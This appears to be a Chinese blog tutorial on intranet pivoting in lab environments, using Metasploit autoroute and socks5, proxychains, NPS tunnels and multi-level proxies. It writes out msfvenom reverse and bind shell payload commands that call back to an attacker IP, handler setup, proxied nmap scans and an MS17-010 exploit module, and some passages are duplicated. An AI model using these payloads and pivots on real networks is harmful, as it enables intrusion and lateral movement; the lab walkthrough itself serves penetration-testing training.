内网代理技术

简介: 在我们的内网渗透中,我们往往是通过拿下Web服务器的权限,再通过Web服务器做一个跳板来做横向渗透。我们知道在我们拿下的Web的服务器上做一些横向渗透是有点困难的,因为在Web这台机器上没有我们平常渗透常用的一些渗透工具,故横向渗透非常的困难,假如我们可以直接用我们自己的电脑做攻击机就可以让我们在渗透的过程中得心应手。但是我们知道我们想要拿到的服务器在内网之中,我们无法通过互联网去直接访问它,这种时候我们又想控制它,我们就需要借助一些代理技术来辅助我们去完成直接控制内网机器的过程。

前言


在我们的内网渗透中,我们往往是通过拿下Web服务器的权限,再通过Web服务器做一个跳板来做横向渗透。我们知道在我们拿下的Web的服务器上做一些横向渗透是有点困难的,因为在Web这台机器上没有我们平常渗透常用的一些渗透工具,故横向渗透非常的困难,假如我们可以直接用我们自己的电脑做攻击机就可以让我们在渗透的过程中得心应手。但是我们知道我们想要拿到的服务器在内网之中,我们无法通过互联网去直接访问它,这种时候我们又想控制它,我们就需要借助一些代理技术来辅助我们去完成直接控制内网机器的过程。


环境搭建

这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:


http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


环境搭建

这里借助一个红日团队开源的一个红队实战测试的部分来完成本次环境搭建,靶机下载地址如下:


http://vulnstack.qiyuanxuetang.net/vuln/detail/2/


对本靶场环境做出一些修改之后,最终环境如下所示


黑客攻击机:kali、windows10


网卡IP:192.168.178.128
网卡IP:192.168.178.1


Web服务器:windows7系统


外网网卡IP:192.168.178.133
内网网卡IP:192.168.52.143


域控服务器:windows server 2008系统


网卡IP:192.168.52.138


网络互通状况


kali、windows10可以ping通windows7的外网网卡,ping不通内网网卡
windows7可以ping通kali、windows10和windows server 2008
windows server 2008 ping不通windows7、kali和windows10


MSF

首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。



拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。


msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe


上传之后在kali上配置监听,拿服务器权限。


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128



拿到Web服务器权限之后,我们可以通过这个Web服务器的shell来做一些内网上的渗透,但是我如果想直接通过我们kali攻击机去访问到windwos server 2008我们该怎么去做呢。我们知道我们的kali是无法ping通windwos server 2008,因为windwos server 2008它是不出网的,想要访问到windwos server 2008这里就要借助一些代理知识来辅助我们了。


本篇我们先借助MSF来实现代理功能


在拿到meterpreter权限之后,我们可以使用如下命令来查看一下网络中的路由信息


meterpreter > run get_local_subnets



我们kali所属的网段是192.168.178.0的网段,这里还有一个192.168.52.0的网段,所以这时我们就可以利用MSF中的扫描模块对52网段进行一波扫描实现主机发现,这里我们根据上文环境搭建部分,已经知道内网中还存在一台192.168.52.138 IP的windwos server 2008。


那么我们可以在这里添加一条指向52网段的路由,如下。


meterpreter > run autoroute -s 192.168.52.0/255.255.255.0



然后使用如下命令查看session中的路由。


meterpreter > run autoroute -p



在session存在路由了之后,我们可以使用一个代理socks的代理模块


msf5 exploit(multi/handler) > use auxiliary/server/socks5
msf5 auxiliary(server/socks5) > set srvhost 192.168.178.128  #本处设置IP为kali攻击机IP



配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理


首先我们对proxychains代理软件进行配置


vim /etc/proxychains.conf


在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)



配置好之后,我们就可以通过proxychains来访问到内网中的windwos server 2008这台服务器了。



如此,我们就还可以生成一个正向的木马,然后通过一些漏洞上传到windwos server 2008上,再利用proxychains来启动MSF配置监听,来达到利用kali接受到内网中windows server 2008这台服务器的shell。


NPS代理攻击


除了MSF之外还有许多现成的代理工具如Frp、NPS、EarthWorm、reGeorg等等,这些代理工具使用方法都大同小异,由于本人经常使用NPS,故下文主要演示一下NPS的使用。


NPS是一款轻量级、高性能、功能强大的内网穿透代理服务器,它几乎支持所有协议,其还支持内网http代理、内网socks5代理、p2p等等。NPS相比其他代理工具其具有简洁且功能强大的WEB管理界面,支持服务端、客户端同时控制,扩展功能强大。


下载地址


https://github.com/fatedier/frp
https://ehang-io.github.io/nps/#/   #官方使用文档


这里存在对应版本的客户端和服务端,可以都下载下来。



首先我们通过windows7开放的Web服务先拿下Web服务器的权限,这里主要写的是代理的知识,拿Web权限就不在过多阐述。



拿到Web权限之后,我们可以利用msfvenom生成一个后门,然后利用Web权限进行上传。

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f exe >shell.exe


上传之后在kali上配置监听,拿服务器权限。


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128



然后我们可以把我们下载好的对应版本的NPS客户端上传到这台Web服务器上。


D:\tools\nps\windows_386_server>nps install



上传好之后,我们可以在攻击机windows10上启动NPS服务端,首先以管理员权限启动cmd,然后执行如下命令进行NPS的初始化安装


D:\tools\nps\windows_386_server>nps install



然后启动即可


D:\tools\nps\windows_386_server>nps.exe start


启动好之后,我们可以输入本地IP+8080端口进行访问WEB客户端




输入默认账号admin,密码123进入管理页面



进入管理页面之后,我们可以新增一个客户端

然后根据提示添加相关信息即可



添加好一个客户端之后,我们可以在windwos7那台Web服务器上用我们之前上传的NPS客户端软件进行连接,连接命令如下图




执行命令之后,我们就可以回到我们的WEB界面,可以看到一个客户端已经进行连接



连接成功之后,我们可以新增一个socks5的代理



配置好客户端id,和服务端端口等信息(id为上图中所创建的客户端id号)



点击新增后,即可发现已经创建号socks5的代理



那么接下来,我们可以通过这个socks5的代理,对内网windwos server 2008的服务器进行访问一下。


我们可以利用SwitchyOmega配置socks5代理对内网中的windwos server 2008的Web服务进行访问



添加代理后可以对windwos server 2008的Web服务进行正常访问



当然我们还可以借助Proxifier这款软件做一个socks5的全局代理



配置好之后,也可以对其进行访问




多级代理


在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。


环境搭建


本次实验环境借助一个CFS三层的靶机,靶机下载地址如下



【CFS三层靶机环境】百度网盘链接:
链接: https://pan.baidu.com/s/1LJueA-X02K7HZXr8QsOmeg
提取码: dkcp
解压密码:teamssix.com


网络拓扑图如下(子网掩码都为24位)



在该网络拓扑中178网段模拟的是外网环境,239网段为第一层内网,154网段为第二层内网,每一个target靶机中都存放着一个flag,最终目的是要拿到所有目标靶机中的flag,当然我们这讨论的是代理知识,所以flag我们就忽略掉。


首先用nmap对178网段中存活主机做一个探测



可以发现在178网段中存在一个142的地址,也就是centos7的地址,发现142可以再利用nmap对其进行一个系统扫描



其中开放这80端口,我们可以对他的80端口进行一个访问,最终是会发现存在一个Think PHP



该版本存在一个RCE执行,这里利用工具进行一键get shell



然后蚁剑链接



连接之后,我们利用msfvenom创建一个后门


msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.178.128 lport=4444 -f elf >shell.elf


通过web shell上传到target 1服务器上,然后在kali上配置监听


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.178.128


执行后门拿下target 1服务器权限



在拿到meterpreter权限之后,我们可以 run get_local_subnets 查看一下网络中的路由信息


meterpreter > run autoroute -s 192.168.239.0/24



然后使用 run autoroute -p 查看session中的路由是否添加成功。



发现已存在,接下来我们使用一个socks5代理模块


///

msf5 exploit(multi/handler) > use auxiliary/server/socks5


然后配置好ip,run启动



配置好了socks代理,我们可以借助一款kali上自带的全局代理软件proxychains来连接socks代理


首先我们对proxychains代理软件进行配置


vim /etc/proxychains.conf


在末尾添加socks代理的映射关系(且与在MSF上配置的相对应)



配置好后,我们利用代理软件来启动nmap对239网段中存活主机做一个探测


proxychains nmap -sT -p80 192.168.239.1/24   #正常不能添加-p参数,这里为上帝视角知道239网段中129主机启动着一个web服务,目的是让扫描快一点



扫描到239网段中的129地址,接下来和之前一样对其进行一个系统的扫描,访问web服务,web服务中存在sql注入然后拿下web权限(target2拿web权限的操作省略),拿下权限通过msfvenom创建后门进行上传,但是此处的后门要生成一个正向的后门。


msfvenom -p linux/x64/meterpreter/bind_tcp lport=1234 -f elf >shell2.elf


此处为什么要生成一个正向的木马呢,我们在这分析一下,这里再放下拓扑图,方便理解。



我们拿下了target2的web权限,加入这是我们上传的是反向的木马,那么target2就要去寻找我们kali的路由,但是target2主机中没有kali的路由,那么就会导致我们的反弹shell失败,之后我们再来看看正向的。


我们生成了一个正向的木马,我们的kali攻击机就会去主动寻找target2的服务器,这个时候我们应为做了一个socks5的代理,我们的流量会通过kali的ip的1080端口代理给target1,然后target1中是存在239网段中的路由的,所以我们可以正常进行连接。


理解好之后,之后的操作就很简单了,通过我们通过sql注入拿到的web权限上传木马,然后在kali上利用proxychains启动msfconsole


root@root:~/桌面# proxychains msfconsole


然后配置监听


msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 1234
msf5 exploit(multi/handler) > set rhost 192.168.239.129


执行木马即可拿下第二层主机服务器权限



拿下第二层之后,之后操作大同小异,添加路由,探测第三层存活主机,发现192.168.154.129的ip,然后该台机器存在永恒之蓝漏洞,利用ms17-010拿下第三层权限


msf5 exploit(multi/handler) > use exploit/windows/smb/ms17_010_psexec


msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp



至此三个靶机中的flag都可以找到。

目录
相关文章
|
3月前
|
缓存 安全 数据安全/隐私保护
代理,网关和隧道是干什么的?
代理,网关和隧道是干什么的?
|
6月前
|
数据采集 安全 数据中心
爬虫应该选择住宅ip代理还是数据中心代理?
爬虫应该选择住宅ip代理还是数据中心代理?
爬虫应该选择住宅ip代理还是数据中心代理?
|
8天前
|
监控 安全 网络安全
代理IP安全问题:在国外使用代理IP是否安全
代理IP安全问题:在国外使用代理IP是否安全
|
9天前
|
数据采集 存储 安全
代理IP在企业的运用
使用C#批量抓取免费代理并验证有效性
|
9天前
|
网络协议 中间件 Python
使用代理IP的几种方案
使用代理IP的几种方案
|
8天前
|
网络安全 Python
使用代理ip后访问网站仍然被拒该怎么办
使用代理ip后访问网站仍然被拒该怎么办
|
10天前
|
数据采集 安全 机器人
代理ip匿名原理及那些行业需要代理ip
代理ip匿名原理及那些行业需要代理ip
|
10天前
为什么用了代理ip访问网站还是被限制了
为什么用了代理ip访问网站还是被限制了
|
9天前
|
存储 Python
ProxyBroker-代理IP管理
ProxyBroker-代理IP管理
|
20天前
|
数据采集 搜索推荐 安全
代理IP三个常见的应用场景
代理IP在大数据时代扮演关键角色,常用于数据收集(爬虫避免被目标网站封锁)、社交媒体推广(多账号运营防止关联)和搜索引擎优化(避免频繁请求被屏蔽)。通过代理服务器,实现网络信息中转,确保业务的高效、安全执行。